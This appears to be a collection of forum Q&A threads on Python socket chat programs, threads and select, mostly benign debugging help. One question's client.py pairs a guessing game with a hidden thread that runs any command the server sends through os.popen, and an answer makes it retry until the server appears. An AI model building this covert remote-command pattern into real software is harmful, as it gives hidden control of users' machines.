I am creating a simple chat room server using python and when I send data using I'm not receiving it. The code worked until I sepperated it using functions and classes. I did this so it would be simpler to add a UI
here's my server side code:
import socket
import select
from tkinter import *
import threading
HEADER_LENGTH = 10
IP = socket.gethostbyname('0.0.0.0')
PORT = 1234
class ServerNoGui():
def __init__(self):
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server_socket.bind((IP, PORT))
self.server_socket.listen()
self.sockets_list = [self.server_socket]
self.clients = {}
print("server started")
print("Starting thread sub-proccesses...")
acceptLoop = threading.Thread(target=self.acceptUsers)
acceptLoop.start()
recieveLoop = threading.Thread(target=self.manageDataSending)
recieveLoop.start()
print("sub-proccesses started!")
def recieve_message(self, client_socket):
message_header = client_socket.recv(HEADER_LENGTH)
if not len(message_header):
return False
message_length = int(float(message_header.decode('utf-8').strip()))
return {'header': message_header, 'data': client_socket.recv(message_length)}
def acceptUsers(self):
read_sockets, _x_, exception_sockets = select.select(self.sockets_list, [], self.sockets_list)
for notified_socket in read_sockets:
if notified_socket == self.server_socket:
client_socket, client_address = self.server_socket.accept()
print("accepted")
user = self.recieve_message(client_socket)
#print(user)
print("Recieved")
if(not user):
continue
self.sockets_list.append(client_socket)
print("added to list")
self.clients[client_socket] = user
print("created user")
print(f"Accepted connection from {client_address[0]}{client_address[1]} username: {user['data'].decode('utf-8')}")
def manageDataSending(self):
while True:
read_sockets, _x_, exception_sockets = select.select(self.sockets_list, [], self.sockets_list)
print("point")
for notified_socket in read_sockets:
if notified_socket == self.server_socket:
print("point 0")
self.acceptUsers()
else:
print("point 1")
message = self.recieve_message(notified_socket)
if(message is False):
print(f"Closed connection from {self.clients[notified_socket]['data'].decode('utf-8')}")
self.sockets_list.remove(notified_socket)
del self.clients[notified_socket]
continue
else:
user = self.clients[notified_socket]
type_, data = message['data'].decode("utf-8").split("$")
if(type_ == "message"):
print(f"Recieved Message from {user['data'].decode('utf-8')} : {message['data'].decode('utf-8')} of type {type_}")
for client_socket in self.clients:
if client_socket != notified_socket:
client_socket.send(user['header'] + user['data'] + message['header'] + message['data'])
for notified_socket in exception_sockets:
sockets_list.remove(notified_socket)
del clients[notified_socket]
print(f"Closed connection from {clients[notified_socket]['data'].decode('utf-8')}")
class serverGUI():
def __init__():
window = Tk()
window.title(f"Chatt.py HOSTING SERVER (IP : {IP} \\\\ HOST : {HOST})")
def createWidgets(self):
return False
def log(self, data):
return False
def loop(self):
window.mainloop()
serverBackend = ServerNoGui()
and here's the client
import socket
import select
import errno
import sys
HEADER_LENGTH = 10
IP = socket.gethostbyname("0.0.0.0")#'192.168.0.40'
PORT = 1234
my_username = input("Username: ")
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((IP, PORT))
client_socket.setblocking(False)
username = my_username.encode("utf-8");
username_header = f"{len(username):<{HEADER_LENGTH}}".encode("utf-8")
client_socket.send(username_header + username)
while True:
messageInput = input(f"Me({my_username}) > ")
message = f"message${messageInput}"
if(message):
message = message.encode("utf-8")
message_header = f"{len(message):<{HEADER_LENGTH}}".encode("utf-8")
client_socket.send(message_header + message)
print(f"sent {message_header} : {message}")
try:
while True:
username_header = client_socket.recv(HEADER_LENGTH)
if(not len(username_header)):
print("connection closed by server")
sys.exit()
username_lenght = int(username_header.decode("utf-8").strip())
username = client_socket.recv(username_lenght).decode("utf-8")
message_header = client_socket.recv(HEADER_LENGTH)
message_length = int(message_header.decode("utf-8").strip())
messageRaw = client_socket.recv(message_length).decode("utf-8")
type_, message = messageRaw.split("$")
if(type_ == message):
print(f"{username} >> {message}")
except IOError as e:
if(e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK):
print("READ ERR",str(e))
sys.exit()
continue
except Exception as e:
print("Error".str(e))
sys.exit()
I decided to try with two clients I get the following output
Server:
server started
Starting thread sub-proccesses...
sub-proccesses started!
point
point 0
accepted
Recieved
added to list
created user
Accepted connection from 127.0.0.160338 username: test1
point
point 0
accepted
Recieved
added to list
created user
Accepted connection from 127.0.0.160340 username: test2
point
point 1
Recieved Message from test2 : message$hello of type message
point
point 1
Recieved Message from test1 : message$ of type message
point
point 1
Recieved Message from test1 : message$hello of type message
client1:
Username: test1
Me(test1) >
sent b'8 ' : b'message$'
Me(test1) > hello
sent b'13 ' : b'message$hello'
client2:
Username: test2
Me(test2) > hello
sent b'13 ' : b'message$hello'
as you can see the messages are sent and recieved by the server but not displayed (I'm not stupid I hit enter a few times).
Your server code is confusing and probably not doing what you thought. First you create a thread to accept connections giving it acceptUsers as its thread function (call this thread A). However, that function will only run once in that thread, then it will exit after it has visited all of the read_sockets (because there's no while True loop).
Second, your other thread (B) is running in manageDataSending -- also executing select, but when a client connects, it's calling acceptUsers. That means on the first connection to your server, there's a "race" between the two threads. It's questionable what will happen next because both are now destined to execute the acceptUsers code at more or less the same time, so the exact order of operations in the two threads is now indeterminate.
It's possible that thread A could run first, handle the server_socket (accept the connection and do the receive) and quit, before thread B enters the select call in acceptUsers. That would leave thread B waiting in the select (in acceptUsers) until the next time a client connects or sends data.
On the other hand, it's possible that thread A and thread B both get past the select in acceptUsers and both execute the accept call. Then the accept will succeed in one, and block in the other, waiting for a subsequent incoming connection. In either case, your thread B eventually ends up blocked in a place in your code that you didn't expect it to be.
Bottom line: there's no obvious reason for you to have the two separate threads, both doing a select call. It will be much simpler and easier to understand what is going on if create only one thread, and have it execute your socket select in one place, have that place handle the socket notifications for both incoming connections and incoming client data.
One other thing to note: you don't really need to handle the exception_sockets separately. If one of your clients goes away, its entry in the read_sockets list will be signaled as "ready-to-read" and when you attempt to read it, you will get an end-of-file indication (i.e. zero-length buffer returned).
Related
I have the following code:
import click
import time
import socket
#click.group(chain=True)
def cli():
pass
j = 0
#cli.command()
def main():
global j
while j == 0:
print("Hi")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: #This is our server
s.bind((socket.gethostname(), 1234))
s.listen(5)
clientsocket, adress = s.accept()
print(f"Connection from {adress} has been estanblishded !")
msg = clientsocket.recv(1024)
decodedmsg = msg.decode()
print(decodedmsg)
j += int(decodedmsg)
print(str(j))
time.sleep(1)
#cli.command()
def toggle():
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((socket.gethostname(), 1234))
data = "1" #what we want to send
clientSocket.send(data.encode()) #telling the client to send the information to the server
if __name__ == "__main__":
cli()
So far, if I run the file I get Hi, and the the program waits for a connection.
I want, whilst j=0, to have my program print Hi every second. The idea is that the program is printing Hi until python3 pathto/program.py toggle is executed. Does anybody know how I could adjust the code?
s.accept() blocks until there is a connection. To keep it from blocking, use select.select() with a timeout to query if the server socket is ready with a connection. If it times out, continue to print "Hi".
import click
import socket
import select
#click.group(chain=True)
def cli():
pass
#cli.command()
def main():
counter = 0
# Set up the server
with socket.socket() as s:
s.bind(('', 1234))
s.listen()
with s: # ensure it will be closed when block exits
while counter == 0:
print('Hi')
# readers will be empty on timeout or contain [s]
# if a connection is ready
readers, _, _ = select.select([s], [], [], 1.0)
if s in readers:
clientsocket, address = s.accept()
with clientsocket: # ensure socket will close
print(f"Connection from {address} has been established!")
counter += int(clientsocket.recv(1024))
print(counter)
#cli.command()
def toggle():
clientSocket = socket.socket()
clientSocket.connect((socket.gethostname(), 1234))
with clientSocket:
data = "1" #what we want to send
clientSocket.send(data.encode()) #telling the client to send the information to the server
if __name__ == "__main__":
cli()
Output after running test main in one command window and test toggle after a few seconds in another command window:
Hi
Hi
Hi
Hi
Connection from ('192.168.1.3', 7530) has been established!
1
I have the following code.
This is for the client.py:
import random
import socket
import threading
import os
def access():
HOST = '127.0.0.1'
PORT = 22262
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((HOST, PORT))
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
if command == 'cmdon':
cmd_mode = True
client.send('You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
if cmd_mode:
os.popen(command)
if command == 'hello':
print('Hello World!')
client.send(f'{command} was exectued successfully!'.encode('utf-8'))
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
This for server.py
import socket
HOST = '127.0.0.1'
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
For this to work properly I need to have the server continually running to get a response from the client. If I run the client before the server I get presented with the following error:
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Can I modify it to have client.py wait for the server to answer in order to connect to it? Basically I want to remove the time out error
connect() will throw an exception if it can't connect. Catch it and retry:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
client.connect((HOST, PORT))
break
except Exception as e:
print("retrying: ", e);
time.sleep(1)
print("connected")
I am currently trying to make a Python program where two computers connected to different servers can send messages to each other.
Below is my code:
Server.py:
import sys
import socket
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(('', 11111))
s.listen(1)
while True:
(conn, addr) = s.accept()
while True:
received = conn.recv(1024)
if received == '':
break
else:
print(received.decode())
send_msg = input().replace('b', '').encode()
if send_msg == ' ':
break
else:
conn.sendall(send_msg)
print("sent")
if __name__ == '__main__':
main()
Client.py:
import sys
import socket
import select
def main():
if len(sys.argv) is not 3:
print("usage: %s [ip adress][port] " % sys.argv[0] )
return(-1)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((sys.argv[1], int(sys.argv[2])))
while True:
s_msg = input().replace('b', '').encode('utf-8')
if s_msg == '':
break
else:
s.sendall(s_msg)
r_msg = s.recv(1024)
if r_msg == '':
break
else:
print(r_msg.decode())
if __name__ == '__main__':
main()
When I executed the code by sending a message from server.py, the message was not sent to the client until I try to send a message from the client to the server. Here is the example of the result:
Does anyone know what's wrong with my code?
Please let me know if any extra information is needed. Thank you in advance.
I was able to implement the simple P2P chat program using the code below:
server.py
import sys
import socket
import threading
#TODO: exit program when client ends the connection
def connect(conn):
while True:
received = conn.recv(1024)
if received ==' ':
pass
else:
print(received.decode())
def sendMsg(conn):
while True:
send_msg = input().replace('b', '').encode()
if send_msg == ' ':
pass
else:
conn.sendall(send_msg)
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 11111))
s.listen()
(conn, addr) = s.accept()
thread1 = threading.Thread(target = connect, args = ([conn]))
thread2 = threading.Thread(target = sendMsg, args = ([conn]))
thread1.start()
thread2.start()
thread1.join()
thread2.join()
client.py
import sys
import socket
import threading
#TODO:end connection with 'exit'
def connect(s):
while True:
r_msg = s.recv(1024)
if not r_msg:
break
if r_msg == '':
pass
else:
print(r_msg.decode())
def receive(s):
while True:
s_msg = input().replace('b', '').encode('utf-8')
if s_msg == '':
pass
if s_msg.decode() == 'exit':
print("wan exit")
break
else:
s.sendall(s_msg)
if __name__ == '__main__':
if len(sys.argv) is not 3:
print("usage: %s [ip adress][port] " % sys.argv[0] )
sys.exit(0)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((sys.argv[1], int(sys.argv[2])))
thread1 = threading.Thread(target = connect, args = ([s]))
thread2 = threading.Thread(target = receive, args = ([s]))
thread1.start()
thread2.start()
thread1.join()
thread2.join()
In your code, input() is a blocking function, meaning the execution stop until you press Enter.
So you need to send a message to execute the receive part.
To deal with is issue, you can use non-blocking input functions as mentioned in this question.
Or maybe using multi-threaded code: one thread read the use input and send, the other thread receive and print.
Edit:
The server can't send messages if he receive nothing due to this line:
received = conn.recv(1024)
if the client is still connected and send nothing, the server will wait on this line. So you need to receive one message on server side to access the send part.
You can try to use non-blocking sockets to prevent this behavior.
I'm trying to make a Host/ClientTCP Chat Console.
I have a little problem with my python script, actually, i can't assign my listenS socket when i'm in server mode.
I want to use the same functions (Send and Recieve) for the Client and Host but i don't know if it is possible, i'm not very good in python so if you guys can help me to solve this
Thanks
Code :
import socket
from threading import Thread
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Port = 1604
listenS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def start():
IP_address = "192.168.1.49"
isserver = input("Server ? (Y/N) : ")
if isserver.lower() == "n":
rIP = input("IP Adress : ")
# str(rIP)
rPort = input("Port : ")
if rPort != "":
Port = int(rPort)
else:
Port = 1604
if isserver.lower() == "n":
listenS.connect((IP_address, Port))
elif isserver.lower() == "y":
Listen()
def Listen():
try:
server.bind(('', Port))
server.listen(10)
listenS, addr = server.accept() # ---- Here is my problem ! -----
except:
print("Connection Timed Out !")
class Send(Thread):
def __init__(self):
Thread.__init__(self)
print("Sender Started...")
def run(self):
while True:
message = input() + "\n"
listenS.send(message.encode('utf-8'))
class Recieve(Thread):
def __init__(self):
Thread.__init__(self)
print("Listener Started...")
def run(self):
while True:
print(listenS)
message = listenS.recv(2048)
print(str(message).replace(r"\n","").replace(r"b'","").replace(r"'",""))
start()
send = Send()
recieve = Recieve()
send.start()
recieve.start()
This is a generic code that I have written for V2V communication. My intention is that if there are n number of vehicles in the network, they should be be able to send message to other (n-1) vehicles and also receive from them.
import socket
import threading
ports = [30151,30152,30153]
class V2V_comm(threading.Thread):
global ports
def __init__(self,port):
threading.Thread.__init__(self)
self.host = "127.0.0.1"
self.port = port
self.skt = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
self.skt.bind((self.host,self.port))
self.log_info = []
self.open_server = False
print "Starting server with ports: ",self.port
self.skt.settimeout(0.2)
def run(self):
print "I m here"
message = raw_input("Give a message >>")
while message != "Q":
try:
for port in ports:
if self.port != port:
print "Sending present location and message"
self.skt.sendto(message,(self.host,port))
message = raw_input("Give a message >>")
except:
print "Something is going wrong"
def receiving_data(self):
#while True:
try:
print "Ready to receive data"
data,addr = self.skt.recvfrom(1024)
print "The points received are: ", str(data)
print "The points are received at: ", self.port
self.log_info.append(data)
print self.log_info
except:
print "unable to receive"
V1 = V2V_comm(30151)
V2 = V2V_comm(30152)
V3 = V2V_comm(30153)
V1.start()
V2.start()
V3.start()
V1.receiving_data()
V2.receiving_data()
V3.receiving_data()
But it is not working properly. Can some one suggest any changes ?